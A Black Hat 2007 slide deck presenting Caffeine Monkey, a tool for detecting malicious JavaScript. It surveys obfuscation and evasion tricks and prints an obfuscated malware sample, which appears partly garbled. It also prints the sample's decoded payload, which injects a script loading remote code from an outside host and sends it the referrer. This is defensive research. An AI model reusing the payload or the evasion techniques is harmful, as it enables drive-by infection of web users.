Caffeine Monkey

Automated Collection, Detection and Analysis of Malicious JavaScript

Ben Feinstein, CISSP
Daniel Peck
SecureWorks, Inc.
Introductions

- Welcome to Black Hat USA 2007!
- Who are we?
- Who is SecureWorks?
Malicious JavaScript

- Why should you care?
- Malware/Spyware
  - Downloaders
  - Browser Exploitation
  - Information Leakage
- Evasion / Bypass detection
Who’d a thought animated cursors could be so dangerous?

- Developed by Netscape in 1995
- JavaScript / JScript / ECMAScript
- JavaScript != DOM
- Blurs the lines between data/code
Feature / functionality bloat

- Blame AJAX
- XMLHttpRequest
- More features = larger attack surface
Web 2.0 – Ain’t it grand

- Tried using a browser with JavaScript turned off lately?
- A vice of your typical website designer / developer
- Many popular sites unusable w/o JS
Is it really dangerous?

- Month of Browser Bugs
  - MoBB #25: Native Function Iterator
  - MoBB #8: RDS.DataControl URL

- gnuCitizen.org JavaScript AttackAPI

- SPI’s browser-based port scanning
Phishing/XSS

- XSS
  - it is everywhere and the situation is not improving

- eBay seller ratings

- Address bar spoofing
Postmortems

- Super Bowl XL / Dolphin Stadium Site
  - IFRAME injection
  - MS06-014
  - MS07-004

- QuickTime MOV embedded JavaScript

- Shockwave / Flash embedded JavaScript

- Adobe PDF XSS
Obfuscation / evasion techniques

- **Whitespace randomization / randomized comments**
  - Changes the byte-stream “on-the-wire” significantly

- **String encoding / unencoding**
  - How many different ways can you represent ‘A’?
  - A, \x41, %41, \u0041, %u0041...

- **String splitting and its more sophisticated siblings**
  - “lots” + “of” + “detections” + “fail”
Obfuscation / evasion techniques (cont)

- Integer obfuscation
  - $0x40000000$ can be represented any number of ways
  - $31337 = 30000 + 1000 + 300 + 30 + 7$

- Heap Spray / JS Feng Shui
  - Alexander Sotirov’s talk tomorrow @ 15:15

- Variable and function name reassignment / randomization
Obfuscation / evasion techniques (cont)

- Block randomization
  - for (i = 0; i < 100; i++) { /* for loop */ }
  - while (i < 100) { i++; /* while loop */ }
  - do { i++; /* do ... while loop */ } while (i < 100)

- Alone these techniques are somewhat effective, combined, they make the script unrecognizable to humans and many programs

- Many products are at best taking guesses
Example of Highly Obfuscated JS

function I(mK,G){if(!G){G='Ba,%7(r_)`m?dPSn=3J/@TUc0f:6uMhk;wyHZEs-^O1N{W#XtKq4F&xV+jbRAi9g';}var R;var TB="";for(var e=0;e<mK.length;e+=arguments.callee.toString().replace(/\s/g,"").length-535){R=(G.indexOf(mK.charAt(e))&255)<<18|(G.indexOf(mK.charAt(e+1))&255)<<12|(G.indexOf(mK.charAt(e+2))&255)<<16,(R&65280)>>8,R&255);TB+=String.fromCharCode((R&16711680)>>16,(R&65536)>>8,R&255);}eval(TB.substring(0,TB.length-(arguments.callee.toString().replace(/\s/g,"").length-537))));}('fr śmierci&E6-=#MV_OMr@^`4K/=&`'=;=/7(S3&Ta3F@i)Z0wMs(40V`Ou_=y)(Pj=4Fy:__3Fu%^X?VMVMqjOM_Ob6V=#0xdVuV3j6r@XnV`EfHF-mx3X0VTWfUjF?-`EfsTqusTqmquynHtX`q{=uxPq:caFnyuOSqB;),B;),B;),Bm),B;');
Enter the Caffeine Monkey...

- Like many ideas, born at local bar

- Central DB for collection and analysis

- Collection of webpages and JavaScript

- Mechanisms to feed collection to various browsers and collect results

- Safe and lightweight alternative
Caffeine Monkey (cont)

- Thankfully we have Open Source software
  - Spidermonkey (Mozilla Javascript Engine)
  - Heritrix Web Crawler, crawler.archive.org
  - The folks at UMich for their Perl and php scripting

- Open Source
  - DB and scripting released under GPLv3
  - Spidermonkey extensions released under GPLv3

- Wrapping and logging methods in the interpreter
Heritrix web crawler

![Heritrix web crawler interface](image)
Heritrix web crawler (2)
Demo
Demo (cont)
Demo (cont)
Result from Highly Obfuscated JS

```javascript
eval("document.write('<SCRIPT LANGUAGE="Javascript" SRC="http://www.itzzot.cc/style/?ref ='+document.referrer+''"></'+'script >');");
```
Pitfalls in Current Techniques

- HoneyClients
  - MS Strider HoneyMonkey Project
  - Mitre Honeyclient
  - Capture
  - HoneyC

- Heavyweight / resource intensive

- High-interaction / slower detection
Pitfalls in Current Techniques (cont)

- Human Analysis
  - Time consuming!
  - Error prone
  - Do you trust your `<textarea>` wrapper under 0day conditions?
So what did we find?

- Initial Targets
  - MySpace
  - Warez / serials sites
  - .edu pr0n sites
  - .mil.[cc] pr0n sites
  - StopBadware.org Sites

- Lots of obfuscated cookies/tracking/etc.

- Not perfect, but MySpace runs a cleaner ship than we expected
Good Script, Bad Script

- Fingerprinting
- How methods are used
- Profiling the script execution
- "Benign" uses of obfuscation
Method Call Graphs

Function Call Analysis of "Bad" Scripts

Chow #1

Chow #2

Chow #3

Chow #4

- object_instance
- element_instance
- escape
- eval
- string_instance/50
- document_write
Method Call Graphs

Function Call Analysis of Top JS Sites

- object_instance
- element_instance
- escape
- eval
- string_instance/50
- document_write

sites: myspace.com, lastclick.net, evite.com, muchmusic.com, phnddle.ru, youtube.com, frightcatalog.com, store.yahoo.net, hillaryclinton.com
Method Call Graphs

Function Call Analysis (Combined)

Feinstein & Peck
Black Hat USA 2007
Future of Caffeine Monkey?

☐ Will be released this week
   ■ http://www.secureworks.com/research/tools/
   ■ Expand on it and save everyone some time

☐ Inclusion in proxy?
   ■ IDS/IPS?
   ■ Heuristics based addition to signature based platforms?

☐ Firefox plugin?
Question & Answer
Caffeine Monkey

Automated Collection, Detection and Analysis of Malicious JavaScript

Ben Feinstein, CISSP
Daniel Peck
SecureWorks, Inc.